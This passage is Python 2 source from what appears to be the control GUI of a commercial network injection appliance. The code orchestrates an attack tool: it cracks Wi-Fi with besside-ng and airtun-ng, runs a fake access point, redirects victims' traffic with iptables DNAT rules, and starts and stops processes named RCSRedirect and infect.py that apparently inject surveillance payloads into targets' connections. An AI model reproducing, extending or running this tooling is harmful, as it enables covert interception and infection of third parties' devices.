			   elif string.find(retht, " - [reserved!]") != -1 or string.find(retht, " - nothing") != -1:
			       print "[        iw][00000000] " + iface['dev'] + ' ' +  iface['conninfo']['bssid'].lower() + ' ' + iface['conninfo']['essid'] + ' nothing'
			       self.htcomand = None
			       break
			   else:
			       continue
                   except:
                       pass

	       if self.htcomand != None:
		   if self.started_type == "WPA":
		       while True:
		           if os.path.exists('/opt/td-config/run/besside/attacking') == True:
			       os.remove('/opt/td-config/run/besside/attacking')
			       break
			   else:
			       time.sleep(2)
                               print "[        iw][00000000] " + self.htcomand
                               subprocess.call(self.htcomand, shell=True)
		   else:
	               time.sleep(2)
	               print "[        iw][00000000] " + self.htcomand
	               subprocess.call(self.htcomand, shell=True)
	   else:
		self.htcomand = None

           self.ntimeout = GObject.timeout_add(1000, self.ngrep_entries_timeout, None)

	   if self.modem3g == True:
		t = threading.Thread(target = self.startstopcheckip)
                t.start()

	   self.do_gui(self.builder.get_object("button6").set_label, "Apply")

           self.do_gui(self.builder.get_object("grid1").set_sensitive, True)
	   self.do_gui(self.builder.get_object("buttonbox1").set_sensitive, True)

	   self.do_gui(self.builder.get_object("label22").set_sensitive, True)
           self.do_gui(self.builder.get_object("label23").set_sensitive, True)
	   self.do_gui(self.builder.get_object("button2").set_sensitive, False)
	   self.do_gui(self.builder.get_object("label4").set_sensitive, False)
	   self.do_gui(self.builder.get_object("comboboxtext1").set_sensitive, False)
	   self.do_gui(self.builder.get_object("comboboxtext2").set_sensitive, False)
	   self.do_gui(self.builder.get_object("button2").set_sensitive, False)
	   self.do_gui(self.builder.get_object("label5").set_sensitive, False)
	   self.do_gui(self.builder.get_object("box2").set_sensitive, True)

           if self.wpa == True:
	      self.do_gui(self.builder.get_object("button3").set_sensitive, True)
           else:
	      self.do_gui(self.builder.get_object("button3").set_sensitive, False)

	   self.do_gui(self.builder.get_object("button1").set_label, "Stop")
	   self.do_gui(self.builder.get_object("button1").set_sensitive, True)
	   self.do_gui(self.builder.get_object("button19").set_sensitive, True)

	   self.builder.get_object("label2").set_label("")
	   self.do_gui(self.builder.get_object("expander1").set_sensitive, True)

	   if snif['type'] == 'wireless':
	       if self.fakeap_started == True and self.wirelessiface == iface['dev']:
                   subprocess.call('echo "{} Starting Network Injector on Fake Access Point on {} network and sniffing interface..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), iface['dev']), shell=True)
	       else:
	           subprocess.call('echo "{} Starting Network Injector on {} 802.11 Wifi network on {} network interface and {} sniffing interface..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), iface['conninfo']['essid'], iface['dev'], snif['dev']), shell=True)
	   else:
	       subprocess.call('echo "{} Starting Network Injector on Wired network on {} network interface and {} sniffing interface..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), iface['dev'], snif['dev']), shell=True)
	   self.started = True
	   t = threading.Thread(target = self.startstopwatch)
           t.start()

	   self.ni_running = False
        else:
	   loadfap = False

	   if self.started_type == 'FakeAP':
		loadfap = True

	   self.started_type = None

	   self.do_gui(self.builder.get_object("button1").set_sensitive, False)
	   self.do_gui(self.builder.get_object("button21").set_sensitive, False)
	   self.do_gui(self.builder.get_object("button19").set_sensitive, False)
           self.do_gui(self.builder.get_object("label22").set_sensitive, False)
           self.do_gui(self.builder.get_object("label23").set_sensitive, False)
           self.do_gui(self.builder.get_object("button2").set_sensitive, False)
           self.do_gui(self.builder.get_object("label4").set_sensitive, False)
           self.do_gui(self.builder.get_object("comboboxtext1").set_sensitive, False)
           self.do_gui(self.builder.get_object("comboboxtext2").set_sensitive, False)
           self.do_gui(self.builder.get_object("button2").set_sensitive, False)
           self.do_gui(self.builder.get_object("label5").set_sensitive, False)
           self.do_gui(self.builder.get_object("box2").set_sensitive, False)
           self.do_gui(self.builder.get_object("expander1").set_sensitive, False)

           if os.path.exists('/opt/td-config/run/NetworkManager.conf') == True and self.fakeap_started == False:
               subprocess.call("rm -f /etc/NetworkManager/NetworkManager.conf", shell=True)
               subprocess.call("mv -f /opt/td-config/run/NetworkManager.conf /etc/NetworkManager/", shell=True)
               subprocess.call("killall -1 NetworkManager", shell=True)
               time.sleep(1)

	   if self.RCS_pid != None:
		subprocess.call('kill -KILL {} 2> /dev/null'.format(self.RCS_pid), shell=True)

           subprocess.call('killall -SIGKILL RCSRedirect 2> /dev/null', shell=True)

	   if self.ngrep_started == True:
		self.ngrep_stop()

	   if self.names_pid != None:
		subprocess.call('kill -KILL {} 2> /dev/null'.format(self.names_pid), shell=True)

           subprocess.call('pkill -KILL -f names.py 2> /dev/null', shell=True)

	   if self.links_pid != None:
		subprocess.call('kill -KILL {} 2> /dev/null'.format(self.links_pid), shell=True)

           subprocess.call('pkill -KILL -f links.py 2> /dev/null', shell=True)
           subprocess.call('pkill -KILL -f links_gui.py 2> /dev/null', shell=True)

	   if self.clients_pid != None:
		subprocess.call('kill -KILL {} 2> /dev/null'.format(self.clients_pid), shell=True)

	   subprocess.call('pkill -KILL -f clients.py 2> /dev/null', shell=True)
           subprocess.call('pkill -KILL -f clients2.py 2> /dev/null', shell=True)

	   if self.infect_pid != None:
		subprocess.call('kill -KILL {} 2> /dev/null'.format(self.infect_pid), shell=True)

           subprocess.call('pkill -KILL -f infect.py 2> /dev/null', shell=True)

           if iface['type'] == 'wireless':
	      if self.airtun_pid != None:
	          subprocess.call('kill -KILL {} 2> /dev/null'.format(self.airtun_pid), shell=True)

              subprocess.call('killall -SIGKILL airtun-ng 2> /dev/null', shell=True)

	      if self.besside_pid != None:
		  subprocess.call('kill -KILL {} 2> /dev/null'.format(self.besside_pid), shell=True)

	      subprocess.call('killall -SIGKILL besside-ng 2> /dev/null', shell=True)
	      if self.fakeap_started != True:
	          subprocess.call('/opt/td-config/bin/airmon-ng stop mon0 >/dev/null', shell=True)

	   GObject.source_remove(self.rcstimeout)
           GObject.source_remove(self.ntimeout)

	   time.sleep(2)
	   self.do_gui(self.builder.get_object("label22").set_sensitive, True)
           self.do_gui(self.builder.get_object("label23").set_sensitive, True)
	   self.do_gui(self.builder.get_object("box2").set_sensitive, False)
	   self.do_gui(self.builder.get_object("label4").set_sensitive, True)
	   self.do_gui(self.builder.get_object("comboboxtext1").set_sensitive, True)
	   if string.find(self.builder.get_object("comboboxtext1").get_active_text(), "Fake Access Point") != -1:
	       self.do_gui(self.builder.get_object("comboboxtext2").set_sensitive, False)
	   else:
	       self.do_gui(self.builder.get_object("comboboxtext2").set_sensitive, True)
	   self.do_gui(self.builder.get_object("button2").set_sensitive, True)
	   self.do_gui(self.builder.get_object("label5").set_sensitive, True)
	   self.do_gui(self.builder.get_object("button2").set_sensitive, True)
	   self.do_gui(self.builder.get_object("button1").set_sensitive, True)
	   self.do_gui(self.builder.get_object("button21").set_sensitive, True)
	   self.do_gui(self.builder.get_object("button19").set_sensitive, True)
	   self.do_gui(self.builder.get_object("button1").set_label, "Start")
	   self.do_gui(self.builder.get_object("expander1").set_sensitive, False)
	   self.do_gui(self.builder.get_object("expander1").set_expanded, False)
	   
	   subprocess.call('echo "{} Stopping Network Injector." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
	   self.started = False
	   self.listclear = True
	   self.ni_lock.acquire()
	   time.sleep(1)
           self.do_gui(self.builder.get_object("liststore1").clear)
           self.ni_lock.release()
	   self.listclear = False
	   subprocess.call("echo 'UPDATE' > /opt/td-config/run/rcs/state 2> /dev/null", shell=True)

	   self.do_gui(self.builder.get_object("button21").set_sensitive, True)

	   self.ni_iface = None
	   self.ni_ifaceip = None
	   self.started_exit = True

	   time.sleep(1)
	   if self.fakeap_started == True and self.modem3g == True:
                subprocess.call("iptables -t nat -F PREROUTING", shell=True)

	   self.ni_running = False

    def startstop2(self, *args):
        if self.started_ni == False:
	    self.ni2_running = True

            if self.started_newconf == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    self.ni2_running = False
                    return

	    if os.path.exists('/opt/td-config/share/server') == False or os.path.exists('/opt/td-config/share/port') == False or os.path.exists('/opt/td-config/share/key') == False or os.path.exists('/opt/td-config/share/cookie') == False:
                self.dialog29 = self.builder.get_object("messagedialog29")
		msgdia = 'Server configuration is not correct.\nPlease fix the server configuration on\nserver management:\nnetwork address, port and import key.'
                self.dialog29.format_secondary_text(msgdia)
                self.response29 = self.dialog29.run()
                if self.response29 == Gtk.ResponseType.OK:
                    self.dialog29.hide()
		    self.ni2_running = False
                    return

	    cerror = 0

            if os.path.exists('/opt/td-config/share/server') == True:
                ccount = 0

                for address in open('/opt/td-config/share/server').readlines():
                    ccount += 1
                    break

                if ccount != 1:
                    cerror = 1

            if os.path.exists('/opt/td-config/share/port') == True:
                ccount = 0

                for address in open('/opt/td-config/share/port').readlines():
                    ccount += 1
                    break

                if ccount != 1:
                    cerror = 1

            if os.path.exists('/opt/td-config/share/key') == True:
                ccount = 0

                for address in open('/opt/td-config/share/key').readlines():
                    ccount += 1
                    break

                if ccount != 1:
                    cerror = 1

            if os.path.exists('/opt/td-config/share/cookie') == True:
                ccount = 0

                for address in open('/opt/td-config/share/cookie').readlines():
                    ccount += 1
                    break

                if ccount != 1:
                    cerror = 1

            if cerror == 1:
                self.dialog29 = self.builder.get_object("messagedialog29")
                msgdia = 'Server configuration is not correct.\nPlease fix the server configuration on\nserver management:\nnetwork address, port and import key.'
                self.dialog29.format_secondary_text(msgdia)
                self.response29 = self.dialog29.run()
                if self.response29 == Gtk.ResponseType.OK:
                    self.dialog29.hide()
                    self.ni2_running = False
                    return

	    iniface = self.ifacelist[self.builder.get_object("comboboxtext8").get_active_text().split()[0]]
	    retip = None
	    ispriv = False
	    adetect = False

	    if len(self.builder.get_object("entry3").get_text()) == 0 or self.builder.get_object("entry3").get_text() == None:	    
		adetect = True
	        try:
		    retip = subprocess.check_output("LANG=en_US.utf8 nmcli -t -f IP4 dev list iface '{}' | grep -i IP4.ADDRESS | awk '{{print $3}}' | sed -e 's/\/.*//g'".format(iniface['dev']), shell=True)
		    if len(retip) == 0:
			self.dialog15 = self.builder.get_object("messagedialog15")
                        msgdia = 'IP address not found on ' + iniface['dev'] + ' network\ninterface. Please set it first.'
                        self.dialog15.format_secondary_text(msgdia)
                        self.response15 = self.dialog15.run()
                        if self.response15 == Gtk.ResponseType.OK:
                            self.dialog15.hide()
			    self.ni2_running = False
                            return
		    else:
			pass
	        except:
		    self.dialog15 = self.builder.get_object("messagedialog15")
                    msgdia = 'IP address not found on ' + iniface['dev'] + ' network\ninterface. Please set it first.'
                    self.dialog15.format_secondary_text(msgdia)
                    self.response15 = self.dialog15.run()
                    if self.response15 == Gtk.ResponseType.OK:
                        self.dialog15.hide()
			self.ni2_running = False
                        return

		retip = retip[:-1]
	    else:
		adetect = False
		retip = self.builder.get_object("entry3").get_text()

	    if adetect == True:
	        self.builder.get_object("entry3").set_text("auto")

	    if retip != "auto":
	        try:
		    inet_pton(AF_INET, retip)
	        except:
		    self.dialog16 = self.builder.get_object("messagedialog16")
                    msgdia = 'Public IP address is not correct.\nPlease correct it first.'
                    self.dialog16.format_secondary_text(msgdia)
                    self.response16 = self.dialog16.run()
                    if self.response16 == Gtk.ResponseType.OK:
                        self.dialog16.hide()
			self.ni2_running = False
                        return
	
	        f  = unpack('!I', inet_pton(AF_INET, retip))[0]
	        private = ([ 2130706432 , 4278190080 ], [ 3232235520 , 4294901760 ], [ 2886729728 , 4293918720 ], [ 167772160 , 4278190080 ])

	        for net in private:
		    if (f & net[1] == net[0]):
		        ispriv = True
	    else:
		ispriv = True

	    if ispriv == True:
		self.dialog17 = self.builder.get_object("messagedialog17")

		if adetect == True:
                    msgdia = 'The ' + retip + ' on ' + iniface['dev'] + ' network interface\nis not a public IP address.\nDo you want to continue?'
		else:
		    msgdia = 'The ' + retip + ' is not a public IP address.\nDo you want to continue?'
		
                self.dialog17.format_secondary_text(msgdia)
                self.response17 = self.dialog17.run()
                if self.response17 == Gtk.ResponseType.NO:
                    self.dialog17.hide()
		    self.ni2_running = False
                    return
		elif self.response17 == Gtk.ResponseType.YES:
		    self.dialog17.hide()

	    self.started_ni = True
	    if ispriv == True:
		subprocess.call("echo 'PROXY_IP = auto' > /opt/td-config/share/redirect_fqdn.txt", shell=True)
	    else:
	        subprocess.call("echo 'PROXY_IP = {}' > /opt/td-config/share/redirect_fqdn.txt".format(retip), shell=True)

            subprocess.call('echo "# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)" > /etc/resolv.conf', shell=True)
            subprocess.call('echo "#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN" >> /etc/resolv.conf', shell=True)
	    subprocess.call('echo "#" >> /etc/resolv.conf', shell=True)
            subprocess.call('echo "#     IF YOU WANT EDITING THIS FILE, PLEASE EDIT /var/run/dnsmasq/resolv.conf FILE" >> /etc/resolv.conf', shell=True)
            subprocess.call('echo "nameserver 127.0.0.1" >> /etc/resolv.conf', shell=True)

	    if os.path.exists('/var/run/dnsmasq/resolv.conf') == False:
                subprocess.call("echo 'nameserver 8.8.8.8' > /var/run/dnsmasq/resolv.conf", shell=True)
                subprocess.call("echo 'nameserver 8.8.4.4' >> /var/run/dnsmasq/resolv.conf", shell=True)
                subprocess.call("echo 'nameserver 208.67.222.222' >> /var/run/dnsmasq/resolv.conf", shell=True)
                subprocess.call("echo 'nameserver 208.67.220.220' >> /var/run/dnsmasq/resolv.conf", shell=True)
            else:
                try:
                    subprocess.check_output("grep -i 'nameserver 8.8.8.8' /var/run/dnsmasq/resolv.conf", shell=True)
                except:
                    subprocess.call('echo "nameserver 8.8.8.8" >> /var/run/dnsmasq/resolv.conf', shell=True)

                try:
                    subprocess.check_output("grep -i 'nameserver 8.8.4.4' /var/run/dnsmasq/resolv.conf", shell=True)
                except:
                    subprocess.call('echo "nameserver 8.8.4.4" >> /var/run/dnsmasq/resolv.conf', shell=True)

                try:
                    subprocess.check_output("grep -i 'nameserver 208.67.222.222' /var/run/dnsmasq/resolv.conf", shell=True)
                except:
                    subprocess.call('echo "nameserver 208.67.222.222" >> /var/run/dnsmasq/resolv.conf', shell=True)

                try:
                    subprocess.check_output("grep -i 'nameserver 208.67.220.220' /var/run/dnsmasq/resolv.conf", shell=True)
                except:
                    subprocess.call('echo "nameserver 208.67.220.220" >> /var/run/dnsmasq/resolv.conf', shell=True)

	    self.builder.get_object("grid5").set_sensitive(False)
            self.builder.get_object("buttonbox6").set_sensitive(False)
            t = threading.Thread(target = self.startstopni2)
            t.start()
	else:
	    self.ni2_running = True
	    self.started_ni = False 
	    self.builder.get_object("grid5").set_sensitive(True)
            self.builder.get_object("buttonbox6").set_sensitive(True)
	    t = threading.Thread(target = self.startstopni2)
            t.start()

    def startstopni2(self):
	iface = self.ifacelist[self.builder.get_object("comboboxtext8").get_active_text().split()[0]]
        if self.builder.get_object("comboboxtext9").get_active_text() == "Use the same interface": snif = iface
        else: 
	   if self.builder.get_object("comboboxtext9").get_active_text().split()[0] == 'dag0':
	       snif = {}
	       snif['dev'] = 'dag0'
	   else:
	       snif = self.ifacelist[self.builder.get_object("comboboxtext9").get_active_text().split()[0]]

        if self.started == False:
           self.do_gui(self.builder.get_object("label21").set_label, "Start new session, please wait...")
	   self.do_gui(self.builder.get_object("buttonbox6").set_sensitive, True)
	   self.do_gui(self.builder.get_object("label21").set_sensitive, True)
	   self.do_gui(self.builder.get_object("button18").set_sensitive, False)
	   self.do_gui(self.builder.get_object("button23").set_sensitive, False)
	   self.do_gui(self.builder.get_object("button20").set_sensitive, False)

	   retcn = '1'

           try:
               retcon = subprocess.check_output("/opt/td-config/scripts/http_conntest.py", shell=True)

	       if string.find(retcon, "Status 1") != -1:
                    retcn = '1'
                    pass
               else:
                    retcn = '0'
                    pass
           except:
               retcn = '0'
               pass

           if retcn != '1':
	       print "[  conntest][00000000] Connection is down"
               self.dialog7 = self.builder.get_object("messagedialog7")
               Gdk.threads_enter()
               self.response7 = self.dialog7.run()
               Gdk.threads_leave()
               if self.response7 == Gtk.ResponseType.NO:
                   self.do_gui(self.dialog7.hide)
                   self.started_ni = False
                   self.builder.get_object("grid5").set_sensitive(True)
                   self.builder.get_object("buttonbox6").set_sensitive(True)
		   self.do_gui(self.builder.get_object("label21").set_sensitive, True)
		   self.do_gui(self.builder.get_object("label21").set_label, "")
	           self.do_gui(self.builder.get_object("button18").set_sensitive, True)
		   self.do_gui(self.builder.get_object("button23").set_sensitive, True)
		   self.do_gui(self.builder.get_object("button20").set_sensitive, True)
	 	   self.ni2_running = False
                   return
               elif self.response7 == Gtk.ResponseType.YES:
                   self.do_gui(self.dialog7.hide)
	   else:
	       print "[  conntest][00000000] Connection is up"

	   subprocess.call('pkill -KILL -f http_conntest.py 2> /dev/null', shell=True)
	   subprocess.call('/etc/init.d/nia stop', shell=True)

           conf =  '[COMMON]\n'
           conf += 'log_level = 4\n'
           conf += 'sniffing_iface = "' + snif['dev'] + '"\n'
	   conf += 'sniffing_iface_channel = 6\n'
           conf += 'response_iface = "' + iface['dev'] + '"\n'
           conf += 'pcap_filter = ""\n'
           conf += '\n'
           conf += open('/opt/td-config/share/rcsredirect.conf.orig').read()
           open('/opt/td-config/share/rcsredirect.conf', 'w').write(conf)

	   subprocess.call('/etc/init.d/nia start', shell=True)
	   time.sleep(1)

	   self.started_type = "Ethernet"

	   time.sleep(1)

	   try:
	       if subprocess.check_output("ps ax | grep -i RCSRedirect | grep -v grep", shell=True).strip() == '0':
	           self.dialog11 = self.builder.get_object("messagedialog11")
                   msgdia = 'Please verify the network connection\nand network services and restart\nthe Network Injector.'
                   self.dialog11.format_secondary_text(msgdia)
                   Gdk.threads_enter()
                   self.response11 = self.dialog11.run()
                   Gdk.threads_leave()
                   if self.response11 == Gtk.ResponseType.OK:
                       self.do_gui(self.dialog11.hide)
		       self.ni2_running = False
                       self.startstop2()
	   except:
	       self.dialog11 = self.builder.get_object("messagedialog11")
               msgdia = 'Please verify the network connection\nand network services and restart\nthe Network Injector.'
               self.dialog11.format_secondary_text(msgdia)
               Gdk.threads_enter()
               self.response11 = self.dialog11.run()
               Gdk.threads_leave()
               if self.response11 == Gtk.ResponseType.OK:
                   self.do_gui(self.dialog11.hide)
                   self.ni2_running = False
                   self.startstop2()

	   time.sleep(1)

	   try:
               if subprocess.check_output("ps ax | grep -i infect_app.py | grep -v grep", shell=True).strip() == '0':
                   self.dialog11 = self.builder.get_object("messagedialog11")
                   msgdia = 'Please verify the network connection\nand network services and restart\nthe Network Injector.'
                   self.dialog11.format_secondary_text(msgdia)
                   Gdk.threads_enter()
                   self.response11 = self.dialog11.run()
                   Gdk.threads_leave()
                   if self.response11 == Gtk.ResponseType.OK:
                       self.do_gui(self.dialog11.hide)
                       self.ni2_running = False
                       self.startstop2()
           except:
               self.dialog11 = self.builder.get_object("messagedialog11")
               msgdia = 'Please verify the network connection\nand network services and restart\nthe Network Injector.'
               self.dialog11.format_secondary_text(msgdia)
               Gdk.threads_enter()
               self.response11 = self.dialog11.run()
               Gdk.threads_leave()
               if self.response11 == Gtk.ResponseType.OK:
                   self.do_gui(self.dialog11.hide)
                   self.ni2_running = False
                   self.startstop2()

	   self.do_gui(self.builder.get_object("grid4").set_sensitive, True)
           self.do_gui(self.builder.get_object("buttonbox6").set_sensitive, True)

           self.do_gui(self.builder.get_object("button18").set_sensitive, True)
	   self.do_gui(self.builder.get_object("button23").set_sensitive, False)
           self.do_gui(self.builder.get_object("button20").set_sensitive, True)
           self.do_gui(self.builder.get_object("button16").set_sensitive, False)
           self.do_gui(self.builder.get_object("label19").set_sensitive, False)
           self.do_gui(self.builder.get_object("comboboxtext8").set_sensitive, False)
           self.do_gui(self.builder.get_object("comboboxtext9").set_sensitive, False)
           self.do_gui(self.builder.get_object("checkbutton1").set_sensitive, False)
           self.do_gui(self.builder.get_object("button16").set_sensitive, False)
           self.do_gui(self.builder.get_object("label20").set_sensitive, False)
           self.do_gui(self.builder.get_object("label30").set_sensitive, False)
           self.do_gui(self.builder.get_object("entry3").set_sensitive, False)
           self.do_gui(self.builder.get_object("label21").set_label, "")

           subprocess.call('echo "{} Starting Network Injector on Wired network on {} network interface and {} sniffing interface..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), iface['dev'], snif['dev']), shell=True)

           self.do_gui(self.builder.get_object("button18").set_label, "Stop")
           self.started = True

	   self.ni2_running = False
        else:
	   self.started_type = None

	   self.do_gui(self.builder.get_object("button18").set_sensitive, False)
	   self.do_gui(self.builder.get_object("button23").set_sensitive, False)
	   self.do_gui(self.builder.get_object("button20").set_sensitive, False)

	   subprocess.call('/etc/init.d/nia stop', shell=True)
	   time.sleep(1)
	   
	   time.sleep(1)

	   self.do_gui(self.builder.get_object("label19").set_sensitive, True)
	   self.do_gui(self.builder.get_object("comboboxtext8").set_sensitive, True)
	   self.do_gui(self.builder.get_object("comboboxtext9").set_sensitive, True)
	   self.do_gui(self.builder.get_object("button16").set_sensitive, True)
	   self.do_gui(self.builder.get_object("label20").set_sensitive, True)
	   self.do_gui(self.builder.get_object("label30").set_sensitive, True)
	   self.do_gui(self.builder.get_object("entry3").set_sensitive, True)
	   self.do_gui(self.builder.get_object("checkbutton1").set_sensitive, True)
	   self.do_gui(self.builder.get_object("button16").set_sensitive, True)

	   self.do_gui(self.builder.get_object("button18").set_label, "Start")
	   self.do_gui(self.builder.get_object("button18").set_sensitive, True)
	   self.do_gui(self.builder.get_object("button23").set_sensitive, True)
	   self.do_gui(self.builder.get_object("button20").set_sensitive, True)

	   subprocess.call('echo "{} Stopping Network Injector." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
	   self.started = False

	   try:
               f = open('/opt/td-config/share/redirect_fqdn.txt', 'r')
               proxy_ipaddr = f.read()
               f.close()
               proxy_ipaddr = proxy_ipaddr[11:-1]
               self.builder.get_object("entry3").set_text(proxy_ipaddr)
           except:
               pass

	   self.ni2_running = False
 
    def startstopreboot(self, *args):
	if self.started_exit == True:
	    return False

        if self.started == True:
	    reboot = False

            if self.started_type == None:
                return True
            elif self.started_type == "WPA":
		try:
                    if subprocess.check_output("ps ax | grep -i {} | grep -v grep".format(self.RCS_pid), shell=True).strip() == '0':
                        reboot = True
                except:
                    reboot = True

		try:
                    if subprocess.check_output("ps ax | grep -i {} | grep -v grep".format(self.airtun_pid), shell=True).strip() == '0':
                        reboot = True
                except:
                    reboot = True

                try:
                    if subprocess.check_output("ps ax | grep -i {} | grep -v grep".format(self.besside_pid), shell=True).strip() == '0':
                        reboot = True
                except:
                    reboot = True

                try:
                    if subprocess.check_output("ps ax | grep -i {} | grep -v grep".format(self.clients_pid), shell=True).strip() == '0':
                        reboot = True
                except:
                    reboot = True

                try:
                    if subprocess.check_output("ps ax | grep -i {} | grep -v grep".format(self.names_pid), shell=True).strip() == '0':
                        reboot = True
                except:
                    reboot = True

                try:
                    if subprocess.check_output("ps ax | grep -i {} | grep -v grep".format(self.links_pid), shell=True).strip() == '0':
                        reboot = True
                except:
                    reboot = True

		try:
                    if subprocess.check_output("ps ax | grep -i {} | grep -v grep".format(self.infect_pid), shell=True).strip() == '0':
                        reboot = True
                except:
                    reboot = True
	    elif self.started_type == "WEP" or \
		 self.started_type == "Open":
		try:
                    if subprocess.check_output("ps ax | grep -i {} | grep -v grep".format(self.RCS_pid), shell=True).strip() == '0':
                        reboot = True
                except:
                    reboot = True

                try:
                    if subprocess.check_output("ps ax | grep -i {} | grep -v grep".format(self.airtun_pid), shell=True).strip() == '0':
                        reboot = True
                except:
                    reboot = True

                try:
                    if subprocess.check_output("ps ax | grep -i {} | grep -v grep".format(self.clients_pid), shell=True).strip() == '0':
                        reboot = True
                except:
                    reboot = True

                try:
                    if subprocess.check_output("ps ax | grep -i {} | grep -v grep".format(self.names_pid), shell=True).strip() == '0':
                        reboot = True
                except:
                    reboot = True

                try:
                    if subprocess.check_output("ps ax | grep -i {} | grep -v grep".format(self.links_pid), shell=True).strip() == '0':
                        reboot = True
                except:
                    reboot = True

		try:
                    if subprocess.check_output("ps ax | grep -i {} | grep -v grep".format(self.infect_pid), shell=True).strip() == '0':
                        reboot = True
                except:
                    reboot = True
            elif self.started_type == "FakeAP" or \
		 self.started_type == "Ethernet":
                try:
                    if subprocess.check_output("ps ax | grep -i {} | grep -v grep".format(self.RCS_pid), shell=True).strip() == '0':
                        reboot = True
                except:
                    reboot = True

                try:
                    if subprocess.check_output("ps ax | grep -i {} | grep -v grep".format(self.clients_pid), shell=True).strip() == '0':
                        reboot = True
                except:
                    reboot = True

                try:
                    if subprocess.check_output("ps ax | grep -i {} | grep -v grep".format(self.names_pid), shell=True).strip() == '0':
                        reboot = True
                except:
                    reboot = True

                try:
                    if subprocess.check_output("ps ax | grep -i {} | grep -v grep".format(self.links_pid), shell=True).strip() == '0':
                        reboot = True
                except:
                    reboot = True

		try:
                    if subprocess.check_output("ps ax | grep -i {} | grep -v grep".format(self.infect_pid), shell=True).strip() == '0':
                        reboot = True
                except:
                    reboot = True

	    if self.fakeap_started != True:
	        retip = None

	        try:
                    retip = subprocess.check_output("LANG=en_US.utf8 nmcli -t -f IP4 dev list iface '{}' | grep -i IP4.ADDRESS | awk '{{print $3}}' | sed -e 's/\/.*//g'".format(self.ni_iface), shell=True)
                    retip = retip2[0:len(retip2) - 1]
                except:
                    pass

                if retip == None or len(retip) == 0 or retip != self.ni_ifaceip:
	            reboot = True

	    if reboot == True:
		if self.started_type != 'FakeAP':
		    self.dialog11 = self.builder.get_object("messagedialog11")
                    msgdia = 'Please verify the network connection\nand network services and restart\nthe Network Injector.'
                    self.dialog11.format_secondary_text(msgdia)
                    Gdk.threads_enter()
                    self.response11 = self.dialog11.run()
                    Gdk.threads_leave()
                    if self.response11 == Gtk.ResponseType.OK:
                        self.do_gui(self.dialog11.hide)

		    if self.ngrep_started == True:
                        self.do_gui(self.builder.get_object("expander1").set_sensitive, False)
                        self.do_gui(self.builder.get_object("expander1").set_expanded, False)
                        self.ngrep_stop()
                    else:
                        self.do_gui(self.builder.get_object("expander1").set_sensitive, False)
                        self.do_gui(self.builder.get_object("expander1").set_expanded, False)

		    self.startstop()
		else:
		    self.dialog11 = self.builder.get_object("messagedialog11")
                    msgdia = 'Please verify the network connection\nand network services and restart\nin order the Fake Access Point\nand the Network Injector.'
                    self.dialog11.format_secondary_text(msgdia)
                    Gdk.threads_enter()
                    self.response11 = self.dialog11.run()
                    Gdk.threads_leave()
                    if self.response11 == Gtk.ResponseType.OK:
                        self.do_gui(self.dialog11.hide)

		    if self.ngrep_started == True:
                        self.do_gui(self.builder.get_object("expander1").set_sensitive, False)
                        self.do_gui(self.builder.get_object("expander1").set_expanded, False)
                        self.ngrep_stop()
                    else:
                        self.do_gui(self.builder.get_object("expander1").set_sensitive, False)
                        self.do_gui(self.builder.get_object("expander1").set_expanded, False)

		    self.startstop()
		    while self.started != False:
		        time.sleep(0.5)

		    self.reboot_order = True
                    self.startstopap()

	        return False
  
        return True

    def startstopcheckip(self):
        while True:
            if self.started_exit == True:
                return

            retip2 = None

            if self.modem3g == True:
                try:
                    retip2 = subprocess.check_output("LANG=en_US.utf8 nmcli -t -f IP4 dev list iface '{}' | grep -i IP4.ADDRESS | awk '{{print $3}}' | sed -e 's/\/.*//g'".format(self.modem3gconf['dev']), shell=True)
                except:
		    retip2 = None
                    pass 

		ispriv = False

		if retip2 != None or len(retip2) != 0:
		    retip2 = retip2[0:len(retip2) - 1]

		    cont = 0

                    try:
                        inet_pton(AF_INET, retip2)
                    except:
                        cont = 1
			pass

		    if cont == 0:
                        f  = unpack('!I', inet_pton(AF_INET, retip2))[0]
                        private = ([ 2130706432 , 4278190080 ], [ 3232235520 , 4294901760 ], [ 2886729728 , 4293918720 ], [ 167772160 , 4278190080 ])

                        for net in private:
                            if (f & net[1] == net[0]):
                                ispriv = True

	        if retip2 == None or len(retip2) == 0:
		    if self.fakeap_started == True:
			subprocess.call("iptables -t nat -F PREROUTING", shell=True)

		    subprocess.call("echo 'PROXY_IP = auto' > /opt/td-config/share/redirect_fqdn.txt", shell=True)
		    subprocess.call('ulimit -c 10000000; kill -1 {} 2> /dev/null'.format(self.RCS_pid), shell=True)
	        else:
		    if self.modem3gip != retip2:
			if self.fakeap_started == True:
			    subprocess.call("iptables -t nat -F PREROUTING", shell=True)

			    if subprocess.check_output("iptables -t nat -L | grep -i DNAT | grep -i {} | wc -l".format(self.routeip), shell=True)[:-1] == '0':
  			        subprocess.call("iptables --table nat --append PREROUTING -d {} -j DNAT --to {}".format(retip2, self.routeip), shell=True)

		        subprocess.call("echo 'PROXY_IP = auto' > /opt/td-config/share/redirect_fqdn.txt", shell=True)

			if ispriv == False:
                            subprocess.call("echo 'PROXY_IP_PLUS = {}' >> /opt/td-config/share/redirect_fqdn.txt".format(retip2), shell=True)

		        subprocess.call('ulimit -c 10000000; kill -1 {} 2> /dev/null'.format(self.RCS_pid), shell=True)
		        self.modem3gip = retip2
		    else:
		        if self.fakeap_started == True:
			    if subprocess.check_output("iptables -t nat -L | grep -i DNAT | grep -i {} | wc -l".format(self.routeip), shell=True)[:-1] == '0':
  			        subprocess.call("iptables --table nat --append PREROUTING -d {} -j DNAT --to {}".format(self.modem3gip, self.routeip), shell=True)

	    if self.started_exit == True:
                return
	
	    time.sleep(1)
	    
        return

    def listclients(self, *args):
	self.ni_lock.acquire()

	if self.clearselect == False:
	    try:
	        self.mymodel, self.myrows = self.builder.get_object("treeview-selection1").get_selected_rows()
	    except:
		self.ni_lock.release()
		return True

        if self.wpa == True:
